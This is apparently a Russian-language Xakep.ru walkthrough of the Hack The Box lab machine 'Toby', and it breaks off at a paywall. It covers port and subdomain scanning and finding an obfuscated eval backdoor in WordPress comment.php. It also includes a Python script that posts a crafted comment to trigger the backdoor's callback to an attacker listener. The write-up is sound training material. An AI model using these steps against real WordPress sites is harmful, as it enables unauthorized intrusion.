Се­год­ня мы с тобой раз­берем про­хож­дение «безум­ной» по слож­ности машины с пло­щад­ки Hack The Box. Пос­мотрим, как работа­ет бэк­дор для WordPress, и исполь­зуем его, что­бы получить дос­туп к хос­ту. Затем про­ник­нем в Docker, перех­ватим пароль поль­зовате­ля при под­клю­чении к базе дан­ных и сек­ретный ключ при под­клю­чении к SSH. А в кон­це поищем, раз­берем и исполь­зуем бэк­дор в механиз­ме аутен­тифика­ции Linux.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.121 toby.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Наш­ли четыре откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 80 — веб‑сер­вер Nginx 1.18.0;
  • 10022 — служ­ба OpenSSH 8.1;
  • 10080 — пока неиз­вес­тный HTTP-сер­вер.

Как обыч­но, нач­нем с веб‑сер­вера, тем более Nmap сам нашел для нас файл robots.txt.

Справка: robots.txt

Этот файл исполь­зует­ся для того, что­бы поп­росить кра­уле­ры (нап­ример, Google или Яндекс) не тро­гать какие‑то опре­делен­ные катало­ги. Нап­ример, ник­то не хочет, что­бы в поис­ковой выдаче появ­лялись стра­ницы авто­риза­ции адми­нис­тра­торов сай­та, фай­лы или пер­сональ­ная информа­ция со стра­ниц поль­зовате­лей и про­чие вещи в таком духе. Одна­ко и зло­умыш­ленни­ки пер­вым делом прос­матри­вают этот файл, что­бы узнать о фай­лах и катало­гах, которые хочет спря­тать адми­нис­тра­тор сай­та.

 

Сканирование веб-контента

В robots.txt записа­на дирек­тория wp-admin, говоря­щая нам о том, что сайт работа­ет на WordPress. Если взгля­нуть в исто­рию зап­росов Burp, то най­дем и новый под­домен, который добав­ляем в /etc/hosts.

10.10.11.121 toby.htb wordpress.toby.htb
История запросов Burp
Ис­тория зап­росов Burp

А на самом сай­те находим сооб­щение о недав­ней ата­ке.

Главная страница сайта
Глав­ная стра­ница сай­та

Боль­ше ничего любопыт­ного най­ти не уда­лось, ска­ниро­вание с помощью WPScan ничего инте­рес­ного тоже не показа­ло. А так как на сай­те уже есть один под­домен, можем попытать­ся най­ти еще. Ска­ниро­вать будем с помощью ffuf, а в качес­тве мес­та для перебо­ра ука­зыва­ем HTTP-заголо­вок Host.

ffuf -u http://toby.htb -H "Host: FUZZ.toby.htb" -w subdomains-top1million-110000.txt -t 256 -fs 10837
Результат сканирования поддоменов
Ре­зуль­тат ска­ниро­вания под­доменов

На­ходим новый под­домен backup, который сра­зу добав­ляем в /etc/hosts. А на сай­те нас встре­чает Gogs — лег­ковес­ный сер­вис Git, написан­ный на Go.

10.10.11.121 toby.htb wordpress.toby.htb backup.toby.htb
Главная страница сайта
Глав­ная стра­ница сай­та
 

Точка входа

В Git находим одно­го поль­зовате­ля toby-admin, чьи репози­тории не отоб­ража­ются.

Активные пользователи Gogs
Ак­тивные поль­зовате­ли Gogs

Но поп­робу­ем прос­каниро­вать репози­тории как катало­ги с помощью того же ffuf.

ffuf -u http://backup.toby.htb/toby-admin -w directory_2.3_medium_lowercase.txt -t 256
Сканирование каталогов
Ска­ниро­вание катало­гов

В ито­ге находим два катало­га, один из которых не воз­вра­щает никако­го кон­тента (starts). А вот репози­торий backup очень инте­ресен, так как это исходные коды сай­та wordpress.toby.htb.

Содержимое репозитория backup
Со­дер­жимое репози­тория backup

Ска­чива­ем репози­торий (git clone http://backup.toby.htb/toby-admin/backup.git) и для удобс­тва откры­ваем в каком‑нибудь редак­торе для прог­рамми­рова­ния. Я буду исполь­зовать VSCode. Так как сайт пос­тро­ен на WordPress, пер­вым делом получим учет­ные дан­ные для под­клю­чения к базе дан­ных. Они содер­жатся в фай­ле wp-config.php.

Содержимое файла wp-config.php
Со­дер­жимое фай­ла wp-config.php

Об­ратим вни­мание на хост mysql.toby.htb, о котором мы пока ничего не зна­ем. Пароль для под­клю­чения к базе дан­ных по SSH под­клю­чить­ся не помог, поэто­му будем ана­лизи­ровать исходные коды. Сооб­щение об ата­ке было оставле­но не прос­то так, ско­рее все­го, нам нуж­но най­ти бэк­дор. Так как это PHP-фай­лы, я поп­робовал поис­кать в них «опас­ные» фун­кции. И находим инте­рес­ное при­мене­ние фун­кции eval, которая нуж­на для выпол­нения переда­ваемо­го в нее кода на PHP.

Поиск по строкам
По­иск по стро­кам

Пе­рехо­дим к фай­лу comment.php, где в фун­кцию eval пос­ле нес­коль­ких опе­раций по пре­обра­зова­нию переда­ется закоди­рован­ная пос­ледова­тель­ность.

Содержимое файла comment.php
Со­дер­жимое фай­ла comment.php

Это не обыч­ный код WordPress, поэто­му оста­новим­ся имен­но на нем. Пос­мотрим, где вызыва­ется фун­кция wp_handle_comment_submission.

Поиск по строкам
По­иск по стро­кам

И видим вызов из фай­ла wp-comments-post.php. То есть мы можем получить дос­туп к бэк­дору при отправ­ке ком­мента­риев к пос­ту. Давай раз­бирать­ся с самим бэк­дором.

 

Точка опоры

Я ско­пиро­вал код бэк­дора и обер­нул его в теги PHP, что­бы получить декоди­рован­ный код. Но там ока­зал­ся точ­но такой же вло­жен­ный код!

Модернизирование кода
Мо­дер­низиро­вание кода
Декодированный бэкдор
Де­коди­рован­ный бэк­дор

По­хоже, таких уров­ней вло­жен­ности будет мно­го. Я решил вос­поль­зовать­ся он­лай­новым сер­висом для деоб­фуска­ции кода.

Деобфусцированный код бэкдора
Де­обфусци­рован­ный код бэк­дора

Здесь пред­став­лен толь­ко механизм авто­риза­ции для получе­ния дос­тупа к основно­му коду, которо­му переда­ется управле­ние через фун­кцию wp_validate_4034a3 (стро­ка 8). Туда переп­равля­ются перемен­ные host и sec. Так, в ком­мента­рии дол­жны быть ука­заны help@toby.htb в качес­тве поч­тового адре­са и http://test.toby.htb/ в качес­тве URL. Перемен­ные host и sec дол­жны быть раз­делены сим­волом :, и перед этой пос­ледова­тель­ностью дол­жна идти стро­ка 746f6279. По син­такси­су я решил, что sec — это порт, куда дол­жен прий­ти бэк­коннект. Откро­ем лис­тенер и отпра­вим проб­ный ком­мента­рий.

Отправка комментария под постом
От­прав­ка ком­мента­рия под пос­том

Но на лис­тенер ничего не приш­ло. Тог­да откро­ем Wireshark, отбро­сим весть тра­фик, свя­зан­ный с 80-м пор­том, и пов­торим наш ком­мент. И уви­дим попыт­ку бэк­коннек­та на порт 20053!

Трафик в Wireshark
Тра­фик в Wireshark

Пе­реза­пус­тим лис­тенер с ука­зани­ем нового пор­та и сно­ва получим бэк­коннект. В ито­ге вмес­то реверс‑шел­ла нам при­ходит какая‑то стро­ка. Веро­ятно, при­дет­ся прог­рамми­ровать самим. Давай авто­мати­зиру­ем отправ­ку зап­роса и при­ем бэк­коннек­та.

import socket
import requests
for i in range(2):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 20053))
sock.listen(1)
try:
url = 'http://wordpress.toby.htb/wp-comments-post.php'
data = {"comment": "746f627910.10.14.82:4321", "author": "ralf", "email": "help@toby.htb", "url": "http://test.toby.htb/", "submit": "Post Comment", "comment_post_ID": "2", "comment_parent": "0"
}
requests.post(url, data = data, timeout = 0.5)
except requests.exceptions.Timeout:
pass
conn, address = sock.accept()
data = conn.recv(1024)
print(data.decode())
conn.close()
sock.close()
Выполнение кода
Вы­пол­нение кода

Еще я заметил, что при каж­дом новом зап­росе пер­вая часть стро­ки отве­та (GUID) изме­няет­ся, а вто­рая часть оста­ется такой же за исклю­чени­ем двух сим­волов.

Выполнение кода
Вы­пол­нение кода

Это натол­кну­ло на мысль о том, что стро­ка закоди­рова­на в hex. И пред­положе­ние ока­залось вер­ным. Если у тебя уста­нов­лен пакет pwntools, можешь исполь­зовать коман­ду unhex.

Декодирование шестнадцатеричных значений
Де­коди­рова­ние шес­тнад­цатерич­ных зна­чений

Так­же получа­ем новую помет­ку: xor_key. Я попытал­ся сно­ва декоди­ровать уже новое шес­тнад­цатерич­ное зна­чение, но получил какие‑то непонят­ные сим­волы. Про XOR упо­мина­ется нес­прос­та, поэто­му нуж­но поп­робовать прок­сорить получен­ные дан­ные, но с каким клю­чом? Из всех исполь­зуемых дан­ных мы не наш­ли при­мене­ния толь­ко отправ­ленно­му парамет­ру sec. Я исполь­зовал это зна­чение в качес­тве клю­ча для XOR и получил внят­ную стро­ку!

Декодирование значения xor_key
Де­коди­рова­ние зна­чения xor_key

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии